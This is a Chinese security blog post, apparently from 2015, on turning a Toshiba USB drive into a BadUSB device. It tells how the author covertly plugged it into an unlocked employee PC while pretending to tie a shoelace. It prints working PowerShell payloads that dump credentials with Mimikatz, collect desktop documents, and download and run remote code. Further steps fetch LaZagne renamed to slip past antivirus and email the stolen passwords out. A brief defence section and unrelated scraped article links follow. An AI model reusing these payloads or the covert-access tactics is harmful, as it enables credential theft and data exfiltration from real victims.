HackPanda · 2015/10/07 11:30

0x00 前言


大概是从今年年初的时候关注了这一块的话题,3月份买的TOSHIBA的U盘进行的测试,期间一直在完善利用代码,期间收到了一些大牛的启发,感谢Psychson这个项目的开源,DM_在PowerShell方面的文章,以及参考过三好学生,jeary等人的配置,虽然并没有交流,但是读了他们的帖子后实践完善了整个利用过程。这是BadUsb的GitHub地址,以及原作者的操作视频(YouTube俄语翻译真心栏...自备梯子)

我在某乙方工作,一次去某省级运营商渗透前的交流时,因为来的早会议室还没有腾出来,在安全室休息时,我所坐的位置的人电脑没有锁屏,但是旁边都是安全室的人,这时候我拿出我的BadUsb,默默的去桌子底下系起了鞋带...

0x01 BadUsb制作


  • 首先你需要有一枚2303芯片的U盘,推荐平价的东芝(TOSHIBA) 速闪系列 U盘 16GB (黑色) USB3.0
  • Psychson项目文件
  • JRE
  • Burner File(BN03V104M.BIN只保证东芝这个U盘可以用)
  • SDCC

打包下载,密码: ixgw,包括量产工具,不包含JRE,win7_X64环境的编译好了可以直接用,项目文件夹下有command.txt可以参考,如果你是别的系统版本,请使用vs2012重新编译工具。

PS:建议就刷我的final.txt修改脚本地址即可,这样不会存在需要重新刷短接芯片的情况,所有操作只需要修改服务器端的脚本即可。如果你已经刷坏,请先在不插电脑时短接住芯片上圆点斜对面的最外两个针脚,然后启动MPALL_F2_v363_0D.exe,用QC.ini,插到usb2.0口,Update几次没有的话说明你短接手法不好,ok了点start刷一下就恢复U盘了,再重头来

0x02 BadUsb效果


目前的效果是只需要5秒钟之内,可过某pc装机量5亿的杀软,电脑闪一下屏幕就可以拔下U盘了,剩下的交给后台的PowerShell进程,实现的功能有获取电脑的基本信息,Invoke-mimikatz抓密码,桌面截屏,集成LaZagne获取系统存储的密码,递归获取桌面所有txt doc类 xls类文件,最终打成压缩包,可通过邮箱或者ftp发送,实战中建议使用ftp发送 ps:因为有人桌面的文档打包出来近GB...

看我拿本机测试能得到什么

视频密码 HappyTime

0x03 BadUsb实战


基本上从视频来看 算上装驱动大概需要10秒时间,实际执行Payload大概是5秒,所以只需要给你5秒,5秒你到底能做到什么?

友情提醒

  1. 系鞋带动作要自然
  2. 速度要快
  3. 有小伙伴掩护那是再好不过的

看看我们能得到什么

这个数据量有多恐怖,这只是一个安全室普通员工电脑桌面的信息,在后来对这些信息详细分析后发现了堡垒机跳板机的登录密码,以及堡垒机最高权限的账户,至此,该省所有设备都在控制之中,包括短彩信,智能网,长途网,话务网,以及基础设施,都收入囊中。

抱歉因为客户原因,无法透露过多细节,读者可当是概念证明,毕竟威胁真实存在。

0x04 BadUsb-Exp


再次感谢Invoke-Mimikatz作者,感谢DM_,代码为拼接修改而来,照惯例留坑,防伸手党,勿怪 首先,仅通过BadUsb下载一个powershell脚本,其中在调用IEX继续下载新的PowerShell,这样设计是为了先拿到一份LaZagne获取的密码,因为有些人的桌面文档表格太大了,需要等待很久,避免夜长梦多所为。

...
...#Invoke-Mimikatz
$folderDateTime = (get-date).ToString('d-M-y HHmmss')
$userDir = (Get-ChildItem env:\userprofile).value + '\Report ' + $folderDateTime
$fileSaveDir = New-Item  ($userDir) -ItemType Directory
Invoke-Mimikatz -Dumpcreds >> $fileSaveDir'/DumpPass.txt'
$copyDir = (Get-ChildItem env:\userprofile).value + '\Desktop'
$copyToDir = New-Item $fileSaveDir'\Doc' -ItemType Directory
Dir -filter *.txt -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.doc -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.docx -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.xls -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
Dir -filter *.xlsx -recurse $copyDir | ForEach-Object {Copy-Item $_.FullName $copyToDir}
IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/GetPass.ps1');
复制代码

GetPass.ps1

(new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/GetPass.rar','D:\Get.exe');
(new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/Command.rar','D:\Command.bat');
D:\Command.bat;
$SMTPServer = 'smtp.qq.com'
$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTPInfo.EnableSsl = $true
$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('username', 'password');
$ReportEmail = New-Object System.Net.Mail.MailMessage
$ReportEmail.From = 'email-address'
$ReportEmail.To.Add('To-address')
$ReportEmail.Subject = 'GetPass'
$ReportEmail.Body = 'Passwords In Applications'
$ReportEmail.Attachments.Add('D:\GetPass.txt')
$SMTPInfo.Send($ReportEmail)
remove-item 'D:\GetPass.txt'
remove-item 'D:\Get.exe'
复制代码

其中的GetPass.rar实为LaZagne,直接下载exe会被大部分杀软拦截,所以使用重命名功能,之所以调用了一个批处理,是因为LaZagne的获取Windows密码模块(非sysadmin模块)注入Lsass进程是会被杀软拦截,所以(D:\Get.exe sysadmin & D:\Get.exe svn & D:\Get.exe database & D:\Get.exe browsers & D:\Get.exe wifi & D:\Get.exe mails) > D:\GetPass.txt 笨方法绕过杀软。

好现在是揭晓坑的时候了- -,破坏了这个脚本删除生成文件的地方~你们插完别人的电脑,这些临时文件就会一直在那里躺着~包括这些密码压缩包喔~

0x05 Sec-Usb?


既然明白了风险存在,如何防护呢?

Know it,then protect it.

首先看一种暴力的 德国LINDY USB电脑锁 电子信息资料防护加密防盗防窃取 直接锁死u口,可能适合跳板机,开发机使用,但是个人机器不现实。

再有就是类似sec-usb这种充电线了,断掉usb传输的两个data线,只保留power,这样就只能充电了,某厂商有这种商品,很贵呦~

链接: http://pan.baidu.com/s/1c09E7PQ 密码: 9b6p

0xFF 版权声明


本文独家首发于乌云知识库(drops.wooyun.org)。本文并没有对任何单位和个人授权转载。如本文被转载,一定是属于未经授权转载,属于严重的侵犯知识产权,本单位将追究法律责任。

BadUsb----结合实例谈此类外设的风险相关推荐

  1. (接口)让僵冷的翅膀飞起来---从实例谈OOP、工厂模式和重构

    有了翅膀才能飞,欠缺灵活的代码就象冻坏了翅膀的鸟儿.不能飞翔,就少了几许灵动的气韵.我们需要给代码带去温暖的阳光,让僵冷的翅膀重新飞起来.结合实例,通过应用OOP.设计模式和重构,你会看到代码是怎样一 ...

  2. 让僵冷的翅膀飞起来—从实例谈OOP、工厂模式和重构[by Wayfarer]

    有了翅膀才能飞,欠缺灵活的代码就象冻坏了翅膀的鸟儿.不能飞翔,就少了几许灵动的气韵.我们需要给代码带去温暖的阳光,让僵冷的翅膀重新飞起来.结合实例,通过应用OOP.设计模式和重构,你会看到代码是怎样一 ...

  3. 从petshop中一实例谈using 的三种用法

    在petshop4.0中有这样一段代码: Code  1        public IList<CategoryInfo> GetCategories() {  2  3   IList ...

  4. BadUSB原理浅析及制作指南

    何为BadUsb 简介 通过硬件直接插入对方电脑,让对方电脑执行代码,达到干扰.控制主机或者窃取信息等目的. 威胁 BadUSB的威胁在于:恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存 ...

  5. 【Shecan Notes】从二叉树出发浅谈风险中性定价

    从二叉树出发浅谈风险中性定价 ​ 有效市场假说的一个重要应用就是资产定价,根据Fama的有效市场假说,所有信息(包括未来的信息)都已经充分反映在当前的价格当中,因而不存在无风险套利的机会.在微观经济学 ...

  6. 从 EIP-1967 再谈 “鱿鱼游戏SQUID” 安全风险

    前言 随着电视剧的爆火,鱿鱼游戏的热度也逐渐攀升,而 SQUID 在 10 月 21 日上线后,价格幅度变化巨大,但是现在的它真的安全吗? Squid 从代码上来看其依赖于以太坊提案 EIP-1967 ...

  7. 抢占式实例在小博无线的应用

    背景 抢占式实例是什么 抢占式实例是阿里云提供的一种低价短期实例.其价格受阿里云ECS资源存量的影响,浮动不定,最低时只有包月实例价格的三分之一.阿里云只保证抢占式实例一小时的可用时间,一小时后随时可 ...

  8. 抢占式实例在小博无线的应用 1

    背景 抢占式实例是什么 抢占式实例是阿里云提供的一种低价短期实例.其价格受阿里云ECS资源存量的影响,浮动不定,最低时只有包月实例价格的三分之一.阿里云只保证抢占式实例一小时的可用时间,一小时后随时可 ...

  9. 趣谈 23 种设计模式(多图 + 代码)

    以下文章来源方志朋的博客,回复"666"获面试宝典 来源:javadoop.com/post/design-pattern 创建型模式 简单工厂模式 工厂模式 抽象工厂模式 单例模 ...

最新文章

  1. 如何关闭事件跟踪程序
  2. boot spring 没有父子容器_Spring父子容器问题
  3. 统计学习方法第五章作业:ID3/C4.5算法分类决策树、平方误差二叉回归树代码实现
  4. Learning Perl 4
  5. Csharp+Asp.net系列教程(四)
  6. C++ 第三方常用网络库
  7. 漫谈新零售:疫情对新零售的十大影响
  8. Quick Dicom batch editor(DICOM标签浏览编辑器)
  9. 网易云api如何调用_分析网易云音乐API的经历
  10. vue computed 中操作DOM和给对象添加属性遇到的问题
  11. 计算机中字符编码换算
  12. 阅读bulid to win感想
  13. 蓝鹰立德的SAP解决方案开启飞马模式(FMEA)
  14. Linux网络socket网络抓包工具
  15. Windows下搭建SVN服务器 - Visual SVN server
  16. RANSAC算法(原理及代码实现+迭代次数参数自适应)
  17. Mac中如何卸载pkg包
  18. linux 如何配置无线网卡驱动,Linux配置无线网卡驱动实现无线上网
  19. mini LED 背光驱动芯片的发展
  20. Hibernate基础之SessionFactory

热门文章

  1. 2019计算机学院年会主持稿,2019年会的主持词
  2. 按住iPhone按钮时如何阻止Siri打开
  3. 有一天,如果你和计算机一样思考问题,真是太太太太有趣了
  4. 优必选将推出家庭守卫机器人——“第一军团风暴兵”机器人
  5. PhpStudy修改数据库root的密码
  6. TEST-Mr land cruiser AND open a book for THE GARDEN CITY Mr land cruiserTEST
  7. 用户画像——persona分析法
  8. 郑军学长-解决SVN访问慢[密]
  9. woo如何监听目录和文件变动,woo目录中的文件被改变,监听文件被修改权限
  10. 数据告诉你哪里才是中国最热的火炉城市?